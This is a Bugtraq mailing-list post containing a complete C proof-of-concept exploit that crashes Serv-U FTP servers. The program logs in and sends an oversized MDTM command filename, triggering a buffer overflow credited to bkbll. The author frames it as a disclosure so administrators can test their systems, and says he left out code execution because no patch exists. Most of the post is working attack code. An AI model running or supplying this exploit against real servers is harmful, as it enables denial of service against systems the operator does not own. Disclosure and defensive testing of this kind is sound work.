Serv-U "MDTM" buffer overflow PoC DoS exploit

[Shaun Colley <shaunige@xxxxxxxxxxx>]

Hello Bugtraq,

I have written a PoC exploit for the MDTM command
buffer overflow found in Serv-U by bkbll.  This
exploit only crashes the Serv-U server, as releasing a
arbitrary code execution exploit when the vendor has
not yet supplied a patch/fix is not a good idea when
certain unruly people might get their hands on it. 
Here it is, test your systems, temporarily disable
Serv-U, and wait for the vendor to release a patch.


---START
/* serv-u-mdtm-expl.c - Serv-U "MDTM" buffer overflow
PoC DoS exploit.
 *
 * This program will send an overly large filename
parameter when calling
 * the Serv-U FTP MDTM command.  Although arbitrary
code execution is
 * possible upon successful execution of this
vulnerability, the vendor has
 * not yet released a patch, so releasing such an
exploit could be disastrous
 * in the hands of script kiddies.  I might release a
full exploit to the
 * public when a patch/fix is issued by the vendor of
Serv-U.  This PoC
 * exploit will simply crash the Serv-U server.
 *
 * This vulnerability was discovered by bkbll, you can
read his advisory on
 * the issue here:
<http://www.cnhonker.com/advisory/serv-u.mdtm.txt>
 *
 * This vulnerability requires a valid login and
password to exploit!  This
 * PoC does not check to see if you supplied a correct
login and password.
 *
 * I do not take responsibility for this code.
 *
 * -shaun2k2
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>

int main(int argc, char *argv[]) {
        if(argc < 5) {
                printf("Serv-U 'MDTM' buffer overflow
DoS exploit.\n");
                printf("by shaun2k2 -
<shaunige@xxxxxxxxxxx>.\n\n");
                printf("Usage: %s <host> <port>
<login> <password>\n", argv[0]);
                exit(-1);
        }

        int sock;
        char *explbuf;
        char loginbuf[100];
        char passwdbuf[100];
        struct sockaddr_in dest;
        struct hostent *he;

        /* lookup IP address of supplied hostname. */
        if((he = gethostbyname(argv[1])) == NULL) {
                printf("Couldn't resolve %s!\n",
argv[1]);
                exit(-1);
        }

        /* create socket. */
        if((sock = socket(AF_INET, SOCK_STREAM, 0)) <
0) {
                perror("socket()");
                exit(-1);
        }

        /* fill in address struct. */
        dest.sin_family = AF_INET;
        dest.sin_port = htons(atoi(argv[2]));
        dest.sin_addr = *((struct in_addr
*)he->h_addr);

        printf("Serv-U 'MDTM' buffer overflow DoS
exploit.\n");
        printf("by shaun2k2 -
<shaunige@xxxxxxxxxxx>.\n\n");

        printf("Crafting exploit buffer...\n\n");
        /* craft exploit buffers. */
        sprintf(loginbuf, "USER %s\n", argv[3]);
        sprintf(passwdbuf, "PASS %s\n", argv[4]);
        explbuf = "MDTM
20031111111111+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/test.txt";


        printf("[+] Connecting...\n");
        if(connect(sock, (struct sockaddr *)&dest,
sizeof(struct sockaddr)) < 0) {
                perror("connect()");
                exit(-1);
        }

        printf("[+] Connected!\n\n");

        printf("[+] Sending exploit buffers...\n");
        sleep(1); /* give the serv-u server time to
sort itself out. */
        send(sock, loginbuf, strlen(loginbuf), 0);
        sleep(2); /* wait for 2 secs. */
        send(sock, passwdbuf, strlen(passwdbuf), 0);
        sleep(2); /* wait before sending large MDTM
command. */
        send(sock, explbuf, strlen(explbuf), 0);
        sleep(1); /* wait before closing the socket.
*/
        printf("[+] Exploit buffer sent!\n\n");

        close(sock);

        printf("[+] Done!  Check if the Serv-U server
has crashed.\n");

        return(0);
}
---END

I hope you find this useful in some way...


Thank you for your time.
Shaun.


        
        
                
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